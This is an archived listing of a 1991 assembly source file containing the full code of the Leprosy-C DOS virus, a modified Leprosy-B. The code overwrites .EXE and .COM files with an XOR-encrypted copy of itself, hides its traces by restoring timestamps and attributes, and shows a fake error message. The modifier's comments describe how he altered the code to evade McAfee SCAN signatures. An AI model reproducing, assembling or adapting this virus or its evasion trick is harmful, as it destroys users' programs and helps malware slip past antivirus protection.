home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / LEPROSYC.ASM < prev    next >
Assembly Source File  |  1991-06-05  |  17KB  |  297 lines

  1. ;  <LEPROSYB.ASM>   -   Leprosy-B Virus Source
  2. ;                       Copy-ya-right (c) 1990 by PCM2.
  3. ;
  4. ;  This file is the source code to the Leprosy-B virus.  It should
  5. ;  be assembled with an MASM-compatible assembler; it has been tested
  6. ;  and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
  7. ;  It should be made into a .COM file before executing, with either
  8. ;  the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
  9. ;
  10. ;  This program has the potential to permanently destroy executable
  11. ;  images on any disk medium.  Other modifications may have been made
  12. ;  subsequent to the original release by the author, either benign,
  13. ;  or which could result in further harm should this program be run.
  14. ;  In any case, the author assumes no responsibility for any damage
  15. ;  caused by this program, incidental or otherwise.  As a precaution,
  16. ;  this program should not be turned over to irresponsible hands...
  17. ;  (unlike people like us, that is).
  18. ;
  19. ;;-=≡░▒▓█▓▒░≡=-=≡░▒▓█▓▒░≡=-=≡░▒▓█▓▒░≡=-=≡░▒▓█▓▒░≡=-=≡░▒▓█▓▒░≡=-=≡░▒▓█▓▒░≡=-
  20. ;; 
  21. ;;  <LEPROSYC.ASM>   -   This virus is not really Leprosy-B.  It is, in
  22. ;;                       fact, ALMOST the same.  When I encountered the
  23. ;;                       source code and assembled it, I found, obviously
  24. ;;                       to my disappointment, that SCAN v77 could find
  25. ;;                       it.  Since it is a self-encrypting virus, I knew
  26. ;;                       EXACTLY how to fix this problem (after all,
  27. ;;                       being part of McPhee's programs is a sure way to
  28. ;;                       know that your virus has been a big hit, but it
  29. ;;                       also means that it will soon meet a terrible end.
  30. ;;                       Presented with such a sad situation, I decided I
  31. ;;                       would modify the virus to give it one more shot
  32. ;;                       at the outside world.  Not only that, but I will
  33. ;;                       make TWO new versions.  This one, in particular,
  34. ;;                       will preserve the traditional length of 666, and
  35. ;;                       will only have a slight modification.  You see,
  36. ;;                       since the virus encrypts itself, McPhee must go
  37. ;;                       on 1 or both of two paths.  He must either use
  38. ;;                       the whole non-encrypted portion as an ID string,
  39. ;;                       or he must use the file offset where the value
  40. ;;                       for decrypting is normally stored, XOR it with
  41. ;;                       the rest of the program (this is how it encrypts
  42. ;;                       and decrypts itself), and then try to identify
  43. ;;                       the decrypted code as the virus.  By changing
  44. ;;                       where the encryption value is stored in the non-
  45. ;;                       encrypted portion and putting a zero there in-
  46. ;;                       stead, (along with altering the primary instruc-
  47. ;;                       tions slightly), I have made it undetectable by
  48. ;;                       SCAN, despite the fact that it is (in all other
  49. ;;                       aspects) the same damn thing.
  50. ;;                            Have fun!
  51. ;;                                The BOOT SECTOR Infector...
  52. ;;
  53. ;;   NOTE: Also, (in case you haven't already noticed)  all of the changes
  54. ;;             I make to this program will have a double semicolon (;;) on
  55. ;;             them somewhere.  This is to reinforce the fact that I DID
  56. ;;             NOT do the original work on this virus.  That credit is left
  57. ;;             appropriately to PCM2.  And I respect his brilliance in its
  58. ;;             coding (especially the encrypt/decrypt portion!) <grin!>
  59. ;; L8r peepz!
  60. ;;
  61.  
  62.  
  63.  
  64.                 title   "Leprosy-C Virus by PCM2, August 1990"
  65. ;;                       With additional modifications by TBSI, June 1991
  66.  
  67.  
  68. cr              equ     13              ;  Carriage return ASCII code
  69. lf              equ     10              ;  Linefeed ASCII code
  70. tab             equ     9               ;  Tab ASCII code
  71. virus_size      equ     666             ;  Size of the virus file
  72. code_start      equ     100h            ;  Address right after PSP in memory
  73. dta             equ     80h             ;  Addr of default disk transfer area
  74. datestamp       equ     24              ;  Offset in DTA of file's date stamp
  75. timestamp       equ     22              ;  Offset in DTA of file's time stamp
  76. filename        equ     30              ;  Offset in DTA of ASCIIZ filename
  77. attribute       equ     21              ;  Offset in DTA of file attribute
  78.  
  79.  
  80.         code    segment 'code'          ;  Open code segment
  81.         assume  cs:code,ds:code         ;  One segment for both code & data
  82.                 org     code_start      ;  Start code image after PSP
  83.  
  84. ;---------------------------------------------------------------------
  85. ;  All executable code is contained in boundaries of procedure "main".
  86. ;  The following code, until the start of "virus_code", is the non-
  87. ;  encrypted CMT portion of the code to load up the real program.
  88. ;---------------------------------------------------------------------
  89. main    proc    near                    ;  Code execution begins here
  90.         call    encrypt_decrypt         ;  Decrypt the real virus code
  91.         jmp     random_mutation         ;  Put the virus into action
  92.     db    0            ;; This line inserted by TBSI.  If
  93.                     ;; McPhee uses the second technique
  94.                     ;; described in my speech, then it
  95.                     ;; will find the zero and consider
  96.                     ;; it to be the value it wants, even
  97.                     ;; though using a zero will make it
  98.                     ;; do absolutely NOTHING!
  99. encrypt_val     db      00h             ;  Hold value to encrypt by here
  100.  
  101. ; ----------  Encrypt, save, and restore the virus code  -----------
  102. infect_file:
  103.         mov     bx,handle               ;  Get the handle
  104.         push    bx                      ;  Save it on the stack
  105.         call    encrypt_decrypt         ;  Encrypt most of the code
  106.         pop     bx                      ;  Get back the handle
  107.     nop                ;; Added by TBSI to through of McPhee
  108.         mov     cx,virus_size           ;  Total number of bytes to write
  109.         mov     dx,code_start           ;  Buffer where code starts in memory
  110.         mov     ah,40h                  ;  DOS write-to-handle service
  111.         int     21h                     ;  Write the virus code into the file
  112.         call    encrypt_decrypt         ;  Restore the code as it was
  113.         ret                             ;  Go back to where you came from
  114.  
  115. ; ---------------  Encrypt or decrypt the virus code  ----------------
  116. encrypt_decrypt:
  117.         mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
  118. xor_loop:                               ;  Start cycle here
  119.         mov     ah,[bx]                 ;  Get the current byte
  120.         xor     ah,encrypt_val          ;  Engage/disengage XOR scheme on it
  121.         mov     [bx],ah                 ;  Put it back where we got it
  122.         inc     bx                      ;  Move BX ahead a byte
  123.     nop                ;; Added by TBSI to through of McPhee
  124.         cmp     bx,offset virus_code+virus_size  ;  Are we at the end?
  125.         jle     xor_loop                ;  If not, do another cycle
  126.         ret                             ;  and go back where we came from
  127.  
  128. ;-----------------------------------------------------------------------
  129. ;   The rest of the code from here on remains encrypted until run-time,
  130. ;   using a fundamental XOR technique that changes via CMT.
  131. ;-----------------------------------------------------------------------
  132. virus_code:
  133.  
  134. ;----------------------------------------------------------------------------
  135. ;  All strings are kept here in the file, and automatically encrypted.
  136. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  137. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  138. ;  changes, even when the strings stay the same.
  139. ;----------------------------------------------------------------------------
  140. exe_filespec    db      "*.EXE",0
  141. com_filespec    db      "*.COM",0
  142. newdir          db      "..",0
  143. fake_msg        db      cr,lf,"Program too big to fit in memory$"
  144. virus_msg1      db      cr,lf,tab,"ATTENTION!  Your computer has been afflicted with$"
  145. virus_msg2      db      cr,lf,tab,"the incurable decay that is the fate wrought by$"
  146. virus_msg3      db      cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
  147. virus_msg4      db      cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
  148. compare_buf     db      20 dup (?)      ;  Buffer to compare files in
  149. files_found     db      ?
  150. files_infected  db      ?
  151. orig_time       dw      ?
  152. orig_date       dw      ?
  153. orig_attr       dw      ?
  154. handle          dw      ?
  155. success         db      ?
  156.  
  157. random_mutation:                        ; First decide if virus is to mutate
  158.         mov     ah,2ch                  ; Set up DOS function to get time
  159.         int     21h
  160.         cmp     encrypt_val,0        ; Is this a first-run virus copy?
  161.         je      install_val             ; If so, install whatever you get.
  162.         cmp     dh,15                   ; Is it less than 16 seconds?
  163.         jg      find_extension          ; If not, don't mutate this time
  164. install_val:
  165.         cmp     dl,0                    ; Will we be encrypting using zero?
  166.         je      random_mutation         ; If so, get a new value.
  167.         mov     encrypt_val,dl          ; Otherwise, save the new value
  168. find_extension:                         ; Locate file w/ valid extension
  169.         mov     files_found,0           ; Count infected files found
  170.         mov     files_infected,4        ; BX counts file infected so far
  171.         mov     success,0
  172. find_exe:
  173.         mov     cx,00100111b            ; Look for all flat file attributes
  174.         mov     dx,offset exe_filespec  ; Check for .EXE extension first
  175.         mov     ah,4eh                  ; Call DOS find first service
  176.         int     21h
  177.         cmp     ax,12h                  ; Are no files found?
  178.         je      find_com                ; If not, nothing more to do
  179.         call    find_healthy            ; Otherwise, try to find healthy .EXE
  180. find_com:
  181.         mov     cx,00100111b            ; Look for all flat file attributes
  182.         mov     dx,offset com_filespec  ; Check for .COM extension now
  183.         mov     ah,4eh                  ; Call DOS find first service
  184.         int     21h
  185.         cmp     ax,12h                  ; Are no files found?
  186.         je      chdir                   ; If not, step back a directory
  187.         call    find_healthy            ; Otherwise, try to find healthy .COM
  188. chdir:                                  ; Routine to step back one level
  189.         mov     dx,offset newdir        ; Load DX with address of pathname
  190.         mov     ah,3bh                  ; Change directory DOS service
  191.         int     21h
  192.         dec     files_infected          ; This counts as infecting a file
  193.         jnz     find_exe                ; If we're still rolling, find another
  194.         jmp     exit_virus              ; Otherwise let's pack it up
  195. find_healthy:
  196.         mov     bx,dta                  ; Point BX to address of DTA
  197.         mov     ax,[bx]+attribute       ; Get the current file's attribute
  198.         mov     orig_attr,ax            ; Save it
  199.         mov     ax,[bx]+timestamp       ; Get the current file's time stamp
  200.         mov     orig_time,ax            ; Save it
  201.         mov     ax,[bx]+datestamp       ; Get the current file's data stamp
  202.         mov     orig_date,ax            ; Save it
  203.         mov     dx,dta+filename         ; Get the filename to change attribute
  204.         mov     cx,0                    ; Clear all attribute bytes
  205.         mov     al,1                    ; Set attribute sub-function
  206.         mov     ah,43h                  ; Call DOS service to do it
  207.         int     21h
  208.         mov     al,2                    ; Set up to open handle for read/write
  209.         mov     ah,3dh                  ; Open file handle DOS service
  210.         int     21h
  211.         mov     handle,ax               ; Save the file handle
  212.         mov     bx,ax                   ; Transfer the handle to BX for read
  213.         mov     cx,20                   ; Read in the top 20 bytes of file
  214.         mov     dx,offset compare_buf   ; Use the small buffer up top
  215.         mov     ah,3fh                  ; DOS read-from-handle service
  216.         int     21h
  217.         mov     bx,offset compare_buf   ; Adjust the encryption value
  218.         mov     ah,encrypt_val          ; for accurate comparison
  219.         mov     [bx+6],ah
  220.         mov     si,code_start           ; One array to compare is this file
  221.         mov     di,offset compare_buf   ; The other array is the buffer
  222.         mov     ax,ds                   ; Transfer the DS register...
  223.         mov     es,ax                   ; ...to the ES register
  224.         cld
  225.         repe    cmpsb                   ; Compare the buffer to the virus
  226.         jne     healthy                 ; If different, the file is healthy!
  227.         call    close_file              ; Close it up otherwise
  228.         inc     files_found             ; Chalk up another fucked up file
  229. continue_search:
  230.         mov     ah,4fh                  ; Find next DOS function
  231.         int     21h                     ; Try to find another same type file
  232.         cmp     ax,12h                  ; Are there any more files?
  233.         je      no_more_found           ; If not, get outta here
  234.         jmp     find_healthy            ; If so, try the process on this one!
  235. no_more_found:
  236.         ret                             ; Go back to where we came from
  237. healthy:
  238.         mov     bx,handle               ; Get the file handle
  239.         mov     ah,3eh                  ; Close it for now
  240.         int     21h
  241.         mov     ah,3dh                  ; Open it again, to reset it
  242.         mov     dx,dta+filename
  243.         mov     al,2
  244.         int     21h
  245.         mov     handle,ax               ; Save the handle again
  246.         call    infect_file             ; Infect the healthy file
  247.         call    close_file              ; Close down this operation
  248.         inc     success                 ; Indicate we did something this time
  249.         dec     files_infected          ; Scratch off another file on agenda
  250.         jz      exit_virus              ; If we're through, terminate
  251.         jmp     continue_search         ; Otherwise, try another
  252.         ret
  253. close_file:
  254.         mov     bx,handle               ; Get the file handle off the stack
  255.         mov     cx,orig_time            ; Get the date stamp
  256.         mov     dx,orig_date            ; Get the time stamp
  257.         mov     al,1                    ; Set file date/time sub-service
  258.         mov     ah,57h                  ; Get/Set file date and time service
  259.         int     21h                     ; Call DOS
  260.         mov     bx,handle
  261.         mov     ah,3eh                  ; Close handle DOS service
  262.         int     21h
  263.         mov     cx,orig_attr            ; Get the file's original attribute
  264.         mov     al,1                    ; Instruct DOS to put it back there
  265.         mov     dx,dta+filename         ; Feed it the filename
  266.         mov     ah,43h                  ; Call DOS
  267.         int     21h
  268.         ret
  269. exit_virus:
  270.         cmp     files_found,6           ; Are at least 6 files infected?
  271.         jl      print_fake              ; If not, keep a low profile
  272.         cmp     success,0               ; Did we infect anything?
  273.         jg      print_fake              ; If so, cover it up
  274.         mov     ah,09h                  ; Use DOS print string service
  275.         mov     dx,offset virus_msg1    ; Load the address of the first line
  276.         int     21h                     ; Print it
  277.         mov     dx,offset virus_msg2    ; Load the second line
  278.         int     21h                     ; (etc)
  279.         mov     dx,offset virus_msg3
  280.         int     21h
  281.         mov     dx,offset virus_msg4
  282.         int     21h
  283.         jmp     terminate
  284. print_fake:
  285.         mov     ah,09h                  ; Use DOS to print fake error message
  286.         mov     dx,offset fake_msg
  287.         int     21h
  288. terminate:
  289.         mov     ah,4ch                  ; DOS terminate process function
  290.         int     21h                     ; Call DOS to get out of this program
  291.  
  292. filler          db       8 dup (90h)    ; Pad out the file length to 666 bytes
  293.  
  294. main    endp
  295. code    ends
  296.         end     main
  297.